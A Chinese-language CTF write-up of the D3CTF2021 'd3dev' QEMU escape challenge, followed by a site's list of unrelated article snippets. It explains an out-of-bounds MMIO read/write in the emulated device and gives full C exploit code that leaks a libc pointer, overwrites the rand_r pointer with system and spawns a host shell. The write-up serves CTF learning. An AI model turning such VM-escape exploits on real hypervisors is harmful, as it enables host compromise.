【qemu逃逸】D3CTF2021-d3dev

news2024/11/26 12:32:41

前言

题目给的是一个 docker 环境,所以起环境非常方便,但是该怎么调试呢?有无佬教教怎么在 docker 中调试?

我本来想着直接起一个环境进行调试,但是缺了好的库,所以就算了,毕竟本题也不用咋调试。

然后题目是带符号的,所以设备定位就不说了;然后这一题我存在一些疑问,后面在总结部分会讲,希望有佬可以解答。

设备逆向

题目注册了 mmio 和 pmio,先来看看实例结构体:

blocks 就是我们之后操作的 buf,然后再其后面有一个 rand_r 函数指针,所以老套路了,多半都是越界读写这个函数指针去控制程序执行流。

 d3dev_pmio_read 函数

比较简单,就是去读取 d3devState 中的某些字段。

d3dev_pmio_write 函数

该函数有两个跟后面利用相关的功能,第一个是可以设置 seek 最大为 0x100;第二个是可以调用 rand_r(r_seed),并且 r_seed 是直接可控的;然后还可以设置 key 为 0,这个 key 是后面 tea 加密的密钥。

d3dev_mmio_read 函数

该函数就是去读取 blocks 中的数据,但是会进行 tea 加密,tea 加密很好解决,我们可以利用 d3dev_pmio_read 去直接把 key 读出来,也可以通过 d3dev_pmio_write 去把 key 直接设置为 0。

这里存在一个比较明显的漏洞,blocks 数组的大小为 257,虽然在 mmio 中会检查 addr 的范围。mmio 的大小是 0x800,而 blocks 为 qword 数组,刚好也是 0x800 字节,所以通过 addr 可以读取到 blocks 的末尾,但是我们可以去设置 seek,这样就可以越界读 0x800 字节了。

d3dev_mmio_write 函数

同理该函数存在越界写。

漏洞利用

很明显了,在上面说了在 blocks 后面存在 rand_r 函数指针,而该指针指向的是 libc 中的地址:

所以通过越界读可以去泄漏 libc 地址,从而计算出 system 地址。

然后通过越界写去修改 rand_r 函数指针指向 system。

 然后触发 rand_r(r_seed) 即可造成任意命令执行(这里 r_seed 是可控的,可以看下上面的源码)

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

void * mmio_base = 0;
void * pmio_base = 0xc040;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

uint64_t mmio_read(uint64_t offset)
{
        return *(uint64_t*)(mmio_base + (offset << 3));
}

void mmio_write(uint64_t offset, uint64_t val)
{
        *(uint64_t*)(mmio_base + (offset << 3)) = val;
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}

void pmio_write(uint64_t addr, uint64_t val)
{
        outl(val, pmio_base+addr);
}

void enc(uint32_t data[2])
{
        uint32_t delta = 0xC6EF3720;
        do {
                data[1] -= (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
                data[0] -= (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
                delta += 0x61C88647;
        } while(delta);
}

void dec(uint32_t data[2])
{
        uint32_t delta = 0;
        do {
                delta -= 0x61C88647;
                data[0] += (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
                data[1] += (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
        } while(delta != 0xC6EF3720);

}


uint64_t arb_read(uint64_t offset)
{
        uint64_t enc_addr = mmio_read(offset);
        printf("[+] enc_addr: %#p\n", enc_addr);
        dec(&enc_addr);
        return enc_addr;
}



int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();

        pmio_write(4, 0);
        pmio_write(8, 0x100);

        uint64_t rand_r_addr = arb_read(3);
        printf("[+] rand_r addr: %#p\n", rand_r_addr);

        uint64_t system_addr = rand_r_addr - 0x47D30 + 0x52290;
        printf("[+] system addr: %#p\n", system_addr);

        enc(&system_addr);
        mmio_write(3, system_addr);
        printf("[+] now rand_r: %p", arb_read(3));
        pmio_write(28, 0x6873);

        return 0;
}

效果如下:

总结与疑问

在 CTF 中,qemu 的题目还是多为数组越界,还没接触到堆的题目,比较菜啦。

然后就是这里 mmio_read 我很懵逼,这里 mmio_read 读取的字节数好像是由用户决定的:

因为这里 low_data 是 unsigned_int ,所以返回值最高4字节应该为0,但是你会发现这里可以直接返回一个完整的内容。

这里好像是当你读取 8 字节时,qemu 会自动读取两次,具体原因我也不是很清楚。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1173329.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

044_第三代软件开发-保存PDF

第三代软件开发-保存PDF 文章目录 第三代软件开发-保存PDF项目介绍保存PDF头文件源文件使用 关键字&#xff1a; Qt、 Qml、 pdf、 painter、 打印 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&#xff08;Qt Meta-Object Language&#xff…

阿里5年经验之谈 —— 记录一次jmeter压测的过程!

在软件架构与中间件实验的最后&#xff0c;要求进行非功能测试&#xff0c;那得非压力测试莫属了。虽然之前学习秒杀项目的时候看视频里面用过jmeter&#xff0c;但没有自己实操过&#xff0c;趁着这次机会&#xff0c;使用一下。 QPS与TPS 1、TPS&#xff1a; Transactions …

力扣周赛 -- 370周赛

先更新前两道题目&#xff0c;下午更新后两道 两道模板题(拓扑排序) 拓扑排序 拓扑排序&#xff08;Topological Sorting&#xff09;&#xff1a;一种对有向无环图&#xff08;DAG&#xff09;的所有顶点进行线性排序的方法&#xff0c;使得图中任意一点 $u$ 和 $v$&#xf…

【LeetCode】每日一题 2023_11_5 重复的DNA序列

文章目录 刷题前唠嗑重复的DNA序列题目描述代码和解题思路偷看大佬题解结语 刷题前唠嗑 LeetCode? 启动&#xff01;&#xff01;&#xff01; 重复的DNA序列 题目链接&#xff1a;187. 重复的DNA序列 题目描述 代码和解题思路 func findRepeatedDnaSequences(s string) …

fastapi-Headers和Cookies

在FastAPI中&#xff0c;Headers是一个特殊的类型&#xff0c;用于处理HTTP请求头&#xff08;Headers&#xff09;。Headers允许你接收、访问和修改HTTP请求中的头部信息。 使用Headers&#xff0c;你可以在FastAPI的路由视图中将请求头作为参数接收&#xff0c;并对它们进行…

linux基本用法

文章目录 前言一、开关机操作1.1 开机登陆1.2 关机1.3 系统目录结构 二、常用的基本命令(重点)2.1 相对路径与绝对路径2.2 处理目录的常用命令2.2.1 ls2.2.2 cd 切换目录2.2.3 pwd ( 显示目前所在的目录 )2.2.4 mkdir &#xff08;创建新目录&#xff09;2.2.5 rmdir ( 删除空的…

【Vue.js】Vue3全局配置Axios并解决跨域请求问题

系列文章目录 文章目录 系列文章目录背景一、部署Axios1. npm 安装 axios2. 创建 request.js&#xff0c;创建axios实例3. 在main.js中全局注册axios4. 在页面中使用axios 二、后端解决跨域请求问题方法一 解决单Contoller跨域访问方法二 全局解决跨域问题 背景 对于前后端分离…

回溯算法--4后问题

1.问题描述 四皇后问题&#xff1a;在4 4 的方格棋盘上放置4个皇后&#xff0c;使得没有两个皇后在同一行、同一列、也不在同一条45度的斜线上。问有多少种可能的布局&#xff1f; 解是4维向量 比如上面这个解<2,4,1,3> 分别表示圆圈的第2列、第4列等 还可以得到另一解…

LeetCode题:83删除排序链表中的重复元素 141环形链表

83删除排序链表中的重复元素 题目内容 给定一个已排序的链表的头 head &#xff0c; 删除所有重复的元素&#xff0c;使每个元素只出现一次 。返回 已排序的链表 。 示例 1&#xff1a; 输入&#xff1a;head [1,1,2] 输出&#xff1a;[1,2]示例 2&#xff1a; 输入&#xf…

下载安装PyCharm的步骤

1、首先进入Pycharm官网&#xff0c;并进行下载&#xff0c;日常使用社区版也是OK的 官网&#xff1a;https://www.jetbrains.com/pycharm/download/?sectionwindows 2、可以自定义路径进行安装&#xff0c;注意路径要全英哈 3、大家可以根据自己的需要来进行勾选 4、安装完成…

【漏洞复现】Webmin 远程命令执行(CVE-2019-15107)

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞验证 1.5、深度利用1、反弹Shell 1.6、修复建议1.7、参考链接 说明内容漏洞编号CVE-2019-15107漏洞…

蒙哥马利算法模乘(四)

一 蒙哥马利算法模乘介绍 蒙哥马利模乘算法主要为了进行大数运算a*b mod n,在介绍蒙哥马利模乘之前,先让我们来了解蒙哥马利约减。 1.1 蒙哥马利约减 a mod n 如果a是一个2048位的整数,n是一个1024位的整数,如果直接采用相除的方式,不论在空间还是时间上都会产生非常大…

【漏洞复现】Django_debug page_XSS漏洞(CVE-2017-12794)

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞分析3、漏洞验证 说明内容漏洞编号CVE-2017-12794漏洞名称Django_debug page_XSS漏洞漏洞评级影响范…

北京联通iptv组播配置

多年前折腾过iptv&#xff0c;近期搬家换了个大电视&#xff0c;打算把iptv配置好了&#xff0c;尽管不怎么看&#xff0c;但聊胜于无。 其实很简单&#xff0c;用到了一些工具&#xff0c;记录如下 1. openwrt配置 因为有软路由&#xff0c;所以就借助openwrt了&#xff0c;一…

2023年03月 Python(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试&#xff08;1~6级&#xff09;全部真题・点这里 一、单选题&#xff08;共25题&#xff0c;每题2分&#xff0c;共50分&#xff09; 第1题 十进制数111转换成二进制数是&#xff1f;&#xff08; &#xff09; A: 111 B: 1111011 C: 101111 D: 1101111 答案…

往事匆匆,值得怀念

不知不觉已经一年了 时间过得好快&#xff0c;各位赶路人&#xff0c;愿大家前程似锦&#xff0c;家庭美满。

智能·开源·安全|.NET Conf China 2023

点击蓝字 关注我们 大会介绍 .NET Conf China 2023是面向开发人员的社区峰会&#xff0c;延续 .NET Conf 2023的活动&#xff0c;庆祝 .NET 8的发布和回顾过去一年来 .NET 在中国的发展成果&#xff0c;它是由中国各地区的技术社区共同发起举办、知名企业和开源组织联合协办&am…

shiro 框架使用学习

简介 Shiro安全框架是Apache提供的一个强大灵活的安全框架Shiro安全框架提供了认证、授权、企业会话管理、加密、缓存管理相关的功能&#xff0c;使用Shiro可以非常方便的完成项目的权限管理模块开发 Shiro的整体架构 1、Subject ​ Subject即主体&#xff08;可以把当前用户…

0X02

web9 阐释一波密码&#xff0c;依然没有什么 发现&#xff0c;要不扫一下&#xff0c;或者看一看可不可以去爆破密码 就先扫了看看&#xff0c;发现robots.txt 访问看看,出现不允许被访问的目录 还是继续尝试访问看看 就可以下载源码&#xff0c;看看源码 <?php $fl…

Nacos-2.2.2源码修改集成高斯数据库GaussDB,postresql

一 &#xff0c;下载代码 Release 2.2.2 (Apr 11, 2023) alibaba/nacos GitHub 二&#xff0c; 执行打包 mvn -Prelease-nacos -Dmaven.test.skiptrue -Drat.skiptrue clean install -U 或 mvn -Prelease-nacos ‘-Dmaven.test.skiptrue’ ‘-Drat.skiptrue’ clean instal…